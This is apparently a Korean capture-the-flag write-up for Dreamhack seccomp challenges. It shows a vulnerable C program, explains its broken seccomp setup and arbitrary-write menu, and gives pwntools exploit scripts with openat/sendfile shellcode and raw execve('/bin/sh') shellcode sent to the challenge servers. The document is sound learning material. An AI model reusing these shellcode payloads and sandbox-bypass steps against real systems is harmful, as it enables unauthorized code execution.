context.arch = 'amd64'
#p = remote('localhost', 7182)  # 도커 실행할 땐 socat으로 포트 열려있어야 함
p = remote('host3.dreamhack.games', 21933)

shellcode = shellcraft.openat(0, '/home/bypass_seccomp/flag')
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)

p.sendline(asm(shellcode))
p.interactive()

로컬

원격

2-7-2 seccomp

// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter(); 
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

스윽 소스코드를 대충 보면 filter_mode같지만

int mode = SECCOMP_MODE_STRICT; #네 strict mode입니다

이렇게 되면 read,write,exit,sigreturn syscall만 사용할 수 있다.

심지어 함정 카드가 더 있는데, syscall_filter()함수에 필터가 없다(!)

struct sock_filter filter[] = {
    /* Validate architecture. */
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
    /* Get system call number. */
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
}; #필터가 있는것같지만 네 없습니다...

syscall을 읽기만 하고 return 조건이 없다....seccomp_ret_allow, seccomp_ret_kill 어디감?

int mode = SECCOMP_MODE_STRICT;
...
if (prctl(PR_SET_SECCOMP, mode, &prog) == -1)

strick mode는 bpf필터를 적용할 수 없는데, &prog를 같이 넣어뒀다 = 즉 파라미터 조합이 잘못됐다

무수한 함정카드를 보니, case3번이 있는 이유를 확실하게 알수있다.

case1번에서 필터를 설정하고 쉘코드를 입력받는다

case2번에서 입력받은 쉘코드를 실행하고

case3번을 이용하면 원하는 주소의 값을 바꿀 수 있다.

특히나 dockerfile이랑 libc파일이 주어지지않는것이 또 어랏 싶을 포인트다. 즉 간단하게 생각하면 풀리는 문제라는거다.

mode가 있다 0x605090

strick mode 은 1번

filter mode는 2번

그럼 2번으로 모드 변경 후 원하는 쉘코드 넣고 실행하면 플래그를 짜잔 얻을 수 있게된다.

from pwn import *
context.update(arch='amd64', os='linux')
#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 18999);
#p = process("./seccomp")

mode = 0x602090
shell = b"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
 
p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode))
p.sendlineafter("value: ", "2")

p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", shell)
 
p.sendlineafter("> ", "2")
 
p.interactive()

작은 꿀팁

엄청난게 많은 syscall 목록들을 모아 놓았거나 보는 방법이 있을까? 있다!

grep __NR_ /usr/include/asm/unistd_64.h (32비트면 unistd_32.h)

man 2syscalls